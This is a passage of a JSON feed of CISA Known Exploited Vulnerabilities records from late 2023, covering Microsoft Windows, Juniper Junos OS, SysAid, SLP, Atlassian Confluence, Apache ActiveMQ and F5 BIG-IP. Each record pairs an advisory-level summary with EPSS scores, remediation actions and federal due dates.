unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.99999,"percentile":0.99992,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2023-1671&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2023-1671","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2023-11-16","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2023-1671 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2023-1671&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2023-1671, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2023-36584","cveId":"CVE-2023-36584","aliases":[],"kind":"vulnerability","title":"Microsoft Windows Mark of the Web (MOTW) Security Feature Bypass Vulnerability","summary":"Microsoft Windows Mark of the Web (MOTW) contains a security feature bypass vulnerability resulting in a limited loss of integrity and availability of security features.","detail":"CISA added this entry on 2023-11-16. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","publishedAt":"2023-11-16","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"Windows","stacks":["Microsoft Windows","Microsoft","Windows"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2023-11-16","dueAt":"2023-12-07","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.03251,"percentile":0.88243,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2023-36584&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2023-36584","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2023-11-16","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2023-36584 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2023-36584&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2023-36584, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2023-36025","cveId":"CVE-2023-36025","aliases":[],"kind":"vulnerability","title":"Microsoft Windows SmartScreen Security Feature Bypass Vulnerability","summary":"Microsoft Windows SmartScreen contains a security feature bypass vulnerability that could allow an attacker to bypass Windows Defender SmartScreen checks and their associated prompts.","detail":"CISA added this entry on 2023-11-14. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","publishedAt":"2023-11-14","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"Windows","stacks":["Microsoft Windows","Microsoft","Windows"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2023-11-14","dueAt":"2023-12-05","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.88085,"percentile":0.99763,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2023-36025&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2023-36025","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2023-11-14","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2023-36025 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2023-36025&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2023-36025, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2023-36033","cveId":"CVE-2023-36033","aliases":[],"kind":"vulnerability","title":"Microsoft Windows Desktop Window Manager (DWM) Core Library Privilege Escalation Vulnerability","summary":"Microsoft Windows Desktop Window Manager (DWM) Core Library contains an unspecified vulnerability that allows for privilege escalation.","detail":"CISA added this entry on 2023-11-14. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","publishedAt":"2023-11-14","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"Windows","stacks":["Microsoft Windows","Microsoft","Windows"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2023-11-14","dueAt":"2023-12-05","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.10945,"percentile":0.95855,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2023-36033&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2023-36033","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2023-11-14","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2023-36033 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2023-36033&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2023-36033, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2023-36036","cveId":"CVE-2023-36036","aliases":[],"kind":"vulnerability","title":"Microsoft Windows Cloud Files Mini Filter Driver Privilege Escalation Vulnerability","summary":"Microsoft Windows Cloud Files Mini Filter Driver contains a privilege escalation vulnerability that could allow an attacker to gain SYSTEM privileges.","detail":"CISA added this entry on 2023-11-14. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","publishedAt":"2023-11-14","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"Windows","stacks":["Microsoft Windows","Microsoft","Windows"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2023-11-14","dueAt":"2023-12-05","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.1667,"percentile":0.97002,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2023-36036&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2023-36036","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2023-11-14","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2023-36036 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2023-36036&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2023-36036, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2023-36844","cveId":"CVE-2023-36844","aliases":[],"kind":"vulnerability","title":"Juniper Junos OS EX Series PHP External Variable Modification Vulnerability","summary":"Juniper Junos OS on EX Series contains a PHP external variable modification vulnerability that allows an unauthenticated, network-based attacker to control certain, important environment variables. Using a crafted request an attacker is able to modify certain PHP environment variables, leading to partial loss of integrity, which may allow chaining to other vulnerabilities.","detail":"CISA added this entry on 2023-11-13. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","publishedAt":"2023-11-13","updatedAt":null,"regions":["Global"],"vendor":"Juniper","product":"Junos OS","stacks":["Juniper Networks","Juniper","Junos OS"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2023-11-13","dueAt":"2023-11-17","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.89958,"percentile":0.99791,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2023-36844&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2023-36844","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2023-11-13","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2023-36844 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2023-36844&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2023-36844, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2023-36845","cveId":"CVE-2023-36845","aliases":[],"kind":"vulnerability","title":"Juniper Junos OS EX Series and SRX Series PHP External Variable Modification Vulnerability","summary":"Juniper Junos OS on EX Series and SRX Series contains a PHP external variable modification vulnerability that allows an unauthenticated, network-based attacker to control an important environment variable. Using a crafted request, which sets the variable PHPRC, an attacker is able to modify the PHP execution environment allowing the injection und execution of code.","detail":"CISA added this entry on 2023-11-13. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","publishedAt":"2023-11-13","updatedAt":null,"regions":["Global"],"vendor":"Juniper","product":"Junos OS","stacks":["Juniper Networks","Juniper","Junos OS"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2023-11-13","dueAt":"2023-11-17","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.9507,"percentile":0.99862,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2023-36845&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2023-36845","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2023-11-13","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2023-36845 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2023-36845&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2023-36845, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2023-36846","cveId":"CVE-2023-36846","aliases":[],"kind":"vulnerability","title":"Juniper Junos OS SRX Series Missing Authentication for Critical Function Vulnerability","summary":"Juniper Junos OS on SRX Series contains a missing authentication for critical function vulnerability that allows an unauthenticated, network-based attacker to cause limited impact to the file system integrity. With a specific request to user.php that doesn't require authentication, an attacker is able to upload arbitrary files via J-Web, leading to a loss of integrity for a certain part of the file system, which may allow chaining to other vulnerabilities.","detail":"CISA added this entry on 2023-11-13. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","publishedAt":"2023-11-13","updatedAt":null,"regions":["Global"],"vendor":"Juniper","product":"Junos OS","stacks":["Juniper Networks","Juniper","Junos OS"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2023-11-13","dueAt":"2023-11-17","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.93473,"percentile":0.99838,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2023-36846&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2023-36846","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2023-11-13","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2023-36846 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2023-36846&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2023-36846, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2023-36847","cveId":"CVE-2023-36847","aliases":[],"kind":"vulnerability","title":"Juniper Junos OS EX Series Missing Authentication for Critical Function Vulnerability","summary":"Juniper Junos OS on EX Series contains a missing authentication for critical function vulnerability that allows an unauthenticated, network-based attacker to cause limited impact to the file system integrity. With a specific request to installAppPackage.php that doesn't require authentication, an attacker is able to upload arbitrary files via J-Web, leading to a loss of integrity for a certain part of the file system, which may allow chaining to other vulnerabilities.","detail":"CISA added this entry on 2023-11-13. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","publishedAt":"2023-11-13","updatedAt":null,"regions":["Global"],"vendor":"Juniper","product":"Junos OS","stacks":["Juniper Networks","Juniper","Junos OS"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2023-11-13","dueAt":"2023-11-17","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.83455,"percentile":0.9968,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2023-36847&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2023-36847","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2023-11-13","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2023-36847 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2023-36847&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2023-36847, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2023-36851","cveId":"CVE-2023-36851","aliases":[],"kind":"vulnerability","title":"Juniper Junos OS SRX Series Missing Authentication for Critical Function Vulnerability","summary":"Juniper Junos OS on SRX Series contains a missing authentication for critical function vulnerability that allows an unauthenticated, network-based attacker to cause limited impact to the file system integrity. With a specific request to webauth_operation.php that doesn't require authentication, an attacker is able to upload arbitrary files via J-Web, leading to a loss of integrity for a certain part of the file system, which may allow chaining to other vulnerabilities.","detail":"CISA added this entry on 2023-11-13. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","publishedAt":"2023-11-13","updatedAt":null,"regions":["Global"],"vendor":"Juniper","product":"Junos OS","stacks":["Juniper Networks","Juniper","Junos OS"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2023-11-13","dueAt":"2023-11-17","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.01123,"percentile":0.66012,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2023-36851&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2023-36851","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2023-11-13","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2023-36851 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2023-36851&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2023-36851, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2023-47246","cveId":"CVE-2023-47246","aliases":[],"kind":"vulnerability","title":"SysAid Server Path Traversal Vulnerability","summary":"SysAid Server (on-premises version) contains a path traversal vulnerability that leads to code execution.","detail":"CISA added this entry on 2023-11-13. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","publishedAt":"2023-11-13","updatedAt":null,"regions":["Global"],"vendor":"SysAid","product":"SysAid Server","stacks":["SysAid","SysAid Server"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2023-11-13","dueAt":"2023-12-04","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Known","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.98851,"percentile":0.99926,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2023-47246&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2023-47246","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2023-11-13","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2023-47246 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2023-47246&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2023-47246, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2023-29552","cveId":"CVE-2023-29552","aliases":[],"kind":"vulnerability","title":"Service Location Protocol (SLP) Denial-of-Service Vulnerability","summary":"The Service Location Protocol (SLP) contains a denial-of-service (DoS) vulnerability that could allow an unauthenticated, remote attacker to register services and use spoofed UDP traffic to conduct a denial-of-service (DoS) attack with a significant amplification factor.","detail":"CISA added this entry on 2023-11-08. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions or disable SLP service or port 427/UDP on all systems running on untrusted networks, including those directly connected to the Internet.","publishedAt":"2023-11-08","updatedAt":null,"regions":["Global"],"vendor":"IETF","product":"Service Location Protocol (SLP)","stacks":["IETF","Service Location Protocol (SLP)"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2023-11-08","dueAt":"2023-11-29","action":"Apply mitigations per vendor instructions or disable SLP service or port 427/UDP on all systems running on untrusted networks, including those directly connected to the Internet.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.63975,"percentile":0.99218,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2023-29552&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2023-29552","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2023-11-08","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2023-29552 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2023-29552&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2023-29552, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2023-22518","cveId":"CVE-2023-22518","aliases":[],"kind":"vulnerability","title":"Atlassian Confluence Data Center and Server Improper Authorization Vulnerability","summary":"Atlassian Confluence Data Center and Server contain an improper authorization vulnerability that can result in significant data loss when exploited by an unauthenticated attacker. There is no impact on confidentiality since the attacker cannot exfiltrate any data.","detail":"CISA added this entry on 2023-11-07. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","publishedAt":"2023-11-07","updatedAt":null,"regions":["Global"],"vendor":"Atlassian","product":"Confluence Data Center and Server","stacks":["Atlassian","Confluence Data Center and Server"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2023-11-07","dueAt":"2023-11-28","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Known","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.99999,"percentile":0.99996,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2023-22518&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2023-22518","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2023-11-07","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2023-22518 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2023-22518&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2023-22518, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2023-46604","cveId":"CVE-2023-46604","aliases":[],"kind":"vulnerability","title":"Apache ActiveMQ Deserialization of Untrusted Data Vulnerability","summary":"Apache ActiveMQ contains a deserialization of untrusted data vulnerability that may allow a remote attacker with network access to a broker to run shell commands by manipulating serialized class types in the OpenWire protocol to cause the broker to instantiate any class on the classpath.","detail":"CISA added this entry on 2023-11-02. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","publishedAt":"2023-11-02","updatedAt":null,"regions":["Global"],"vendor":"Apache","product":"ActiveMQ","stacks":["Apache ActiveMQ","Apache","ActiveMQ"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2023-11-02","dueAt":"2023-11-23","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Known","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.99891,"percentile":0.99965,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2023-46604&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2023-46604","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2023-11-02","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2023-46604 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2023-46604&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2023-46604, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2023-46747","cveId":"CVE-2023-46747","aliases":[],"kind":"vulnerability","title":"F5 BIG-IP Configuration Utility Authentication Bypass Vulnerability","summary":"F5 BIG-IP Configuration utility contains an authentication bypass using an alternate path or channel vulnerability due to undisclosed requests that may allow an unauthenticated attacker 